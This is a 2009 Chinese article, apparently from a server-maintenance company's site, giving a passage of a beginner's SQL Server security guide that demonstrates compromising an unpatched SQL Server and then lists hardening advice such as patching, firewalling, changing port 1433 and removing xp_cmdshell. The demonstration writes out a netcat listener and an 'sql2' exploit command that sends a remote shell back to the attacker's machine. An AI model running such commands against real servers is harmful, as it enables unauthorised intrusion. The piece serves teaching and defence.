北京服务器安全网010-67481995-北京服务器维修北京服务器维护北京服务器代维北京服务器安全及加固提供优惠的主机空间及专业解决各种服务器故障
 
     首页    服务报价    服务条款    典型案例    空间促销    企业邮箱    付款方式    反馈或咨询
  DELL服务器   HP服务器   IBM服务器   SUN服务器   服务器技术   服务器安全   解决方案   服务器价格
 
 

SQL Server安全问题全攻略之补丁和建议

双击自动滚屏 发布者:北京服务器网 发布时间:2009-11-10 阅读:1911

  三、SQL Server不打补丁的漏洞

  小王的SQL Server是安装在win 2000上的,没有打补丁,没打补丁的SQL Server就是个大漏勺,无论你的权限设置的多么严格都是一张一捅就破的烂纸。下面的例子是对有漏洞的SQL Serve(安装在192.168.113.10这台机器上)的攻击,实验中用到了两个工具,nc和sql2,nc别名瑞士军刀,是古老且十分强大的网络工具,如果想知道详细用法请参考网上的相关资料,sql2是专门攻击有漏洞的SQL Serve(sp2以下,含sp2),过程如下:

  如图25,在我的机器(IP地址为192.168.113.207)的命令窗口下(运行cmd)运行nc –l –p 77,意思是在本机开个77的端口
新建一个命令窗口,运行sql2 192.168.113.10 192.168.113.207 77 0

  如果192.168.113.10上的SQL Serve有漏洞,192.168.113.207的nc监视窗口就会出现下图26的界面,注意!这个界面可是装有SQL Serve机器的,换句话,我们已经入侵到这台机器了。接着看下图27,用ipconfig 查的地址是192.168.113.10,它归你控制了,简单吧!

新手宝典:SQLServer的几个安全问题(多图)(8)

图25

新手宝典:SQLServer的几个安全问题(多图)(8)

图26

新手宝典:SQLServer的几个安全问题(多图)(8)

图27

  四、几点建议

  1、及时打补丁

  不打补丁的危害上面已经演示了,道理就不用多说了吧!

  2、最小的权限等于对大的安全

  这句话说起容易,做起难,有一个简单易行的办法就是用流行的漏洞扫描工具和攻击工具检测本系统是否安全,这样的工具非常多,自己找吧。

  3、安装防火墙

  如果只是在本机调试系统,安装防火墙是非常好的选择,这样即使有漏洞别人也无法攻击。

  4、改变端口

  如果SQL Serve需要远程访问,端口一定是要开放的,即使安装了防火墙,也要将SQL Serve的服务端口1433放开,针对SQL Serve的攻击工具主要扫描的是1433端口,可以改变默认端口,这样虽然不能从根本上解决问题,但可以对付一般的扫描,改变端口最简单的办法是在打开 “开始”——〉“所有程序”——〉“Microsoft SQL Serve” ——〉“服务器网络实用工具”,在界面中选中“TCP/IP”,点击“属性”,把1433改为不超过65535的一个数,重启SQL Serve服务,这样默认端口就改了,注意这时你远程连接SQL Serve时IP地址后要加改过的端口号。

  5、删除不需要的扩展存储过程

  如果你的系统中确实不需要这些扩展存储过程可以删除。

  删除存储过程的命令是:EXEC sp_dropextendedproc ‘存储过程的名称’

  例如要删除xp_cmdshell,执行EXEC sp_dropextendedproc ‘xp_cmdshell’,每个扩展存储过程实际上用的是相应的dll文件,如果想彻底让该存储过程不起作用,还要将dll文件也删除。这些文件一般存在Program Files\Microsoft SQL Server\MSSQL\Binn下,如图28,xp_cmdshell的dll文件是xplog70.dll

  要恢复该存储过程,命令是:

  EXEC sp_addextendedproc存储过程的名称 ,@dllname ='存储过程的dll'

  例如:恢复存储过程xp_cmdshell

  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll',注意,恢复时如果xplog70.dll已删除需要copy一个。

新手宝典:SQLServer的几个安全问题(多图)(9)
图28

<全文结束>

 
 
      北京服务器安全网主要为客户提供服务器安装维护和服务器安全加固等服务器相关服务,我们有多名资深工程师和上百次的成功经验。从windows服务器安装维护到Linux服务器安装维护、从网站服务器到中小企业财务服务器等,我们相信都能给您提供及时满意的服务。联系方式:010-67481995 13366332321 QQ:70728602
      欢迎您发表自己的评论。您的评论将被网络上成千上万的读者所共享,我们将对您的慷慨深表感谢。
 发表评论 | 打印本页 | 关闭窗口
      本站发表读者评论,并不代表我们赞同或者支持读者的观点。我们的立场仅限于传播更多读者感兴趣的信息。


版权所有:北京互联畅通科技有限公司 © 2009
Tel:010-67481995 13366332321 QQ: 70728602
京ICP备10049444号